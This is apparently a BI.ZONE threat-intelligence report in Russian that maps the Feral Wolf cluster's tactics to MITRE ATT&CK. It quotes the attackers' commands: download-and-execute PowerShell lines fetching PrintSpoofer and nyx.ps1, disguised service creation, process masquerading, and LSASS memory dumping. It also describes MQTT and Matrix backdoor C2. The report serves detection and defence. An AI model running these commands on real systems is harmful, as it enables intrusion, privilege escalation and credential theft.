BI.ZONE
Технические статьи
Идем по следам Feral Wolf: новые инструменты и техники атак

Идем по следам Feral Wolf: новые инструменты и техники атак

Злоумышленники используют бэкдоры, маскирующие C2‑трафик с помощью легитимных протоколов MQTT и Matrix. Это усложняет обнаружение и позволяет кластеру дольше оставаться в инфраструктуре

Тактика	Техника	Процедура
Initial Access	Exploit Public‑Facing Application	Feral Wolf получает первоначальный доступ, эксплуатируя критическую уязвимость CVE‑2023‑22515 в сервисе Confluence, который доступен из внешней сети. Feral Wolf получает первоначальный доступ, используя небезопасную конфигурацию 1С, допускающую выполнение административных действий без аутентификации
	Trusted Relationship	Feral Wolf получает первоначальный доступ путем компрометации подрядчика организации
Execution	Command and Scripting Interpreter: PowerShell	Feral Wolf использует PowerShell для выполнения команд и сценариев в скомпрометированных системах, в том числе для загрузки `PrintSpoofer64.exe` и запуска `nyx.ps1`. `powershell invoke-webrequest hxxps://github[.]com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -outfile print64.exe` `iwr hxxps://raw.githubusercontent[.]com/evilsocket/nyx/refs/heads/main/nyx.ps1 -UseBasicParsing \| iex` Feral Wolf использует MQTTDoor, который выполняет команды через powershell.exe, получая команду из MQTT‑топика `/cmd/req`. `powershell.exe {try { [Console]::OutputEncoding = [System.Text.Encoding]::UTF8; $OutputEncoding = [System.Text.Encoding]::UTF8 } catch {}; -NonInteractive -NoProfile -Command [COMMAND]`
	Command and Scripting Interpreter: Windows Command Shell	Feral Wolf использует командную оболочку Windows (CMD) для выполнения команд в скомпрометированной системе, в том числе для запуска PowerShell. `cmd.exe /c "cd C:\Users\[redacted]\AppData\Local\Temp\ && powershell invoke-webrequest hxxps://github[.]com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -outfile print64.exe > C:\Users\[redacted]\AppData\Local\Temp\res.txt"` Feral Wolf использует MatrixDoor, который выполняет команды с помощью `cmd.exe /c [command]`, полученные из Matrix‑комнаты в формате `cmd:[cmd_id]:[command]`. `cmd.exe /c [command]`
Persistence	Account Manipulation: Additional Local or Domain Groups	Feral Wolf добавляет созданную учетную запись в группу администраторов Confluence
	Create Account: Local Account	Feral Wolf создает локальную учетную запись пользователя для закрепления в скомпрометированной системе
	Create or Modify System Process: Windows Service	Feral Wolf использует MatrixDoor, который закрепляется в системе, создавая службу Windows с именем wtas и отображаемым именем Windows Telemetry Aggregator Service через `sc.exe`, настраивая автоматический запуск. `sc.exe create wtas binPath= "[exe_path] service" start=auto displayname=Windows Telemetry Aggregator Service` Feral Wolf использует MQTTDoor, который закрепляется в системе через создание службы Windows с аргументом `--install` , маскируясь под легитимный сервис с именем Problem Reports Control Panel. `sc.exe create cplsupport binPath= "cplsupport.exe --config "config.toml" --service" start=auto displayname="Problem Reports Control Panel"`
	Event Triggered Execution: Unix Shell Configuration Modification	Feral Wolf обеспечивает автоматический запуск GSocket, модифицируя файл `.profile` и добавляя в него команду, которая проверяет наличие запущенного gs‑dbus и при его отсутствии запускает его
	Scheduled Task/Job: Cron	Feral Wolf закрепляет GSocket в системе, добавляя задание в crontab для его автоматического запуска
	Server Software Component	Feral Wolf после получения доступа к информационной базе 1С может загружать вредоносные внешние обработки 1C‑Shell (starev‑org) или 1C_shell (Levatein), которые позволяют выполнять команды операционной системы на сервере 1С
Privilege Escalation	Access Token Manipulation: Token Impersonation/Theft	Feral Wolf использует утилиту PrintSpoofer для повышения привилегий до `NT AUTHORITY\SYSTEM` посредством имперсонации токена Windows с использованием привилегии SeImpersonatePrivilege
	Escape to Host	Feral Wolf использует доступный из скомпрометированного контейнера экземпляр PostgreSQL, расположенный на Docker‑хосте, для выполнения команд в хостовой системе
	Exploitation for Privilege Escalation	Feral Wolf эксплуатирует уязвимости CVE‑2021‑4034 (PwnKit) и CVE‑2026‑31431 (Copy Fail) для повышения привилегий
Stealth	Execution Guardrails: Environmental Keying	Feral Wolf использует MatrixDoor, который расшифровывает свою конфигурацию только при наличии ключа, сгенерированного на основе уникального MachineGuid конкретной системы. Feral Wolf использует MQTTDoor, который расшифровывает свою конфигурацию только при наличии ключа, сгенерированного на основе уникального MachineGuid конкретной системы
	Masquerading: Overwrite Process Arguments	Feral Wolf предпринимает попытки скрыть активность GSocket, изменяя аргумент `argv[0]` при его запуске с помощью `exec -a` и маскируя процессы под системные потоки ядра Linux. `exec -a '[kcached]' '/var/atlassian/application-data/confluence/.config/dbus/gs-dbus'` `exec -a '[rcu_preempt]' '/var/atlassian/application-data/confluence/.config/htop/defunct`
	Obfuscated Files or Information	Feral Wolf использует MatrixDoor, который хранит конфигурацию в реестре и расшифровывает ее с помощью ChaCha20, используя ключ, выработанный на основе MachineGuid. Feral Wolf использует MQTTDoor, который хранит конфигурацию в зашифрованном виде в файле `config.toml` и расшифровывает ее с помощью ChaCha20, используя ключ, выработанный на основе MachineGuid
	Obfuscated Files or Information: Command Obfuscation	Feral Wolf использует кодирование Base64 для сокрытия команды запуска GSocket, добавленной в файл `.profile`
Defense Impairment	Disable or Modify Tools: Clear Windows Event Logs	Feral Wolf использует PowerShell‑сценарий `nyx.ps1` (evilsocket) для очистки журналов событий Windows с целью противодействия криминалистическому анализу
	Modify Registry	Feral Wolf использует MatrixDoor, который сохраняет зашифрованную конфигурацию в реестр по пути `HKEY_LOCAL_MACHINE\SOFTWARE\synapse\Config`
Credential Access	Brute Force: Password Guessing	Feral Wolf использует возможности сканера fscan для проверки распространенных слабых паролей к учетным записям
	OS Credential Dumping: LSASS Memory	Feral Wolf использует утилиту Magnet DumpIt для создания дампа физической памяти системы, после чего с помощью MemProcFS представляет полученный дамп в виде виртуальной файловой системы и открывает представление процесса `lsass.exe`. `dokan.exe /quiet /norestart /install` `DumpIt.exe /Q /O C:\Server.raw` `memprocfs.exe -device C:\Server.raw` `"C:\Windows\system32\NOTEPAD.EXE" M:\name\lsass.exe-[PID]\minidump\readme.txt`
Discovery	Network Service Discovery	Feral Wolf использует утилиту fscan для сетевого сканирования и обнаружения доступных узлов и сервисов
	Query Registry	Feral Wolf использует MatrixDoor, который считывает значение MachineGuid из реестра для выработки ключа расшифровки конфигурации. Feral Wolf использует MQTTDoor, который читает значение MachineGuid из реестра для выработки ключа дешифрования конфигурации `reg query HKLM\SOFTWARE\Microsoft\Cryptography /v MachineGuid`
	System Information Discovery	Feral Wolf использует MatrixDoor, который собирает базовую информацию о системе (hostname, timestamp) и отправляет ее на C2 в виде JSON‑сообщения с типом `m.bird.status`. Feral Wolf использует MQTTDoor, который собирает информацию о системе (имя хоста, CPU, память, диск, uptime) и отправляет ее в MQTT‑топики `/status` и `/metrics`
	System Location Discovery	Feral Wolf использует MatrixDoor, который получает геолокацию системы (lat, lon, city), обращаясь к публичному API `ip-api.com`. Feral Wolf использует MQTTDoor, который определяет географическое местоположение хоста (lat, lon, city) посредством обращения к публичному сервису `ip-api.com`
Lateral Movement	Remote Services: Remote Desktop Protocol	Feral Wolf использует RDP для подключения к скомпрометированной системе и копирования инструментов. Feral Wolf использует RDPSocksProxy, который использует механизм RDP Dynamic Virtual Channel для организации сетевого туннеля поверх существующей RDP‑сессии, используя именованный канал MsRdpEx
Command and Control	Application Layer Protocol: Publish/Subscribe Protocols	Feral Wolf использует MQTTDoor, который использует протокол MQTT для связи с C2‑сервером: получает команды из топика `/cmd/req` и отправляет результаты в топик `/cmd/res`. Также отправляет информацию о системе в топики `/metrics` и `/status`
	Ingress Tool Transfer	Feral Wolf загружает в скомпрометированные системы дополнительные инструменты: GSocket, fscan, `PrintSpoofer64.exe`, revsocks и скрипт `nyx.ps1`. `powershell invoke-webrequest hxxps://github[.]com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe -outfile print64.exe` `iwr hxxps://raw.githubusercontent[.]com/evilsocket/nyx/refs/heads/main/nyx.ps1 -UseBasicParsing \| iex`
	Protocol Tunneling	Feral Wolf использует RDPSocksProxy, который скрывает сетевой трафик (SOCKS4/5) внутри RDP Dynamic Virtual Channel
	Proxy: Internal Proxy	Feral Wolf использует RDPSocksProxy, который реализует SOCKS4/5‑прокси‑сервер, туннелирующий сетевой трафик через RDP Dynamic Virtual Channel с именем MsRdpEx
	Web Service: Bidirectional Communication	Feral Wolf использует MatrixDoor, который использует протокол Matrix в качестве C2‑канала: подключается к homeserver (`meet.element[.]tw`), аутентифицируется по `access_token` и обменивается сообщениями через Matrix‑комнату. Также получает команды и отправляет результаты их выполнения и периодические системные метрики
Exfiltration	Exfiltration Over C2 Channel	Feral Wolf использует MatrixDoor, который передает результаты выполненных команд (stdout, stderr, exit code, duration) и системные метрики обратно на C2 через Matrix‑протокол — типы сообщений `m.bird.cmd_response` и `m.bird.metrics`. Feral Wolf использует MQTTDoor, который передает результаты выполненных команд (stdout, stderr, exit code, duration) и системные метрики обратно на C2 с помощью MQTTDoor
Impact	Data Encrypted for Impact	Feral Wolf использует программу‑вымогатель GenieLocker для шифрования файлов в целевых системах